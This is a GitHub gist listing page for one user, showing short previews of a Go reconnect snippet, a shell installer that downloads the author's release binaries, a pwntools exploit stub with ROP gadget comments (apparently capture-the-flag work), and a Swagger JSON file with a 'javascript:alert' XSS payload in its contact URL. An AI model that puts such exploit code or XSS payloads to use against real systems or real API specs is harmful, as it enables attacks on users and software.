Skip to content

Instantly share code, notes, and snippets.

@morentharia
morentharia / reconnect_publsh.go
Created January 21, 2018 15:08
reconnet and pubish
View reconnect_publsh.go
package main
import (
"fmt"
"time"
)
func connector() chan struct{} {
fmt.Println("zzzz")
connectCh := make(chan struct{})
View pwn_work_like_charm.py
from pwn import *
# 0x08048087 mov ecx, esp
# 0x08048089 mov dl, 0x14
# 0x0804808b mov bl, 1
# 0x0804808d mov al, 4
def leak_esp(r):
View zloinstall.sh
#!/usr/bin/env bash
version="0.0.1"
# os="Linux"
os="MacOs"
mkdir -p "/tmp/zlo-$version"
cd "/tmp/zlo-$version"
curl -OL "https://github.com/morentharia/gozlochromeext/releases/download/v$version/gozlochromeext$os" || exit 1
curl -OL "https://github.com/morentharia/gozlodeistva/releases/download/release-$version/gozlo$os" || exit 1
View swagger-xss.json
{
"swagger": "2.0",
"info": {
"version": "1.0.0",
"title": "Swagger Petstore",
"contact":{
"name": "API Support",
"url": "javascript:alert('xss')"
}
},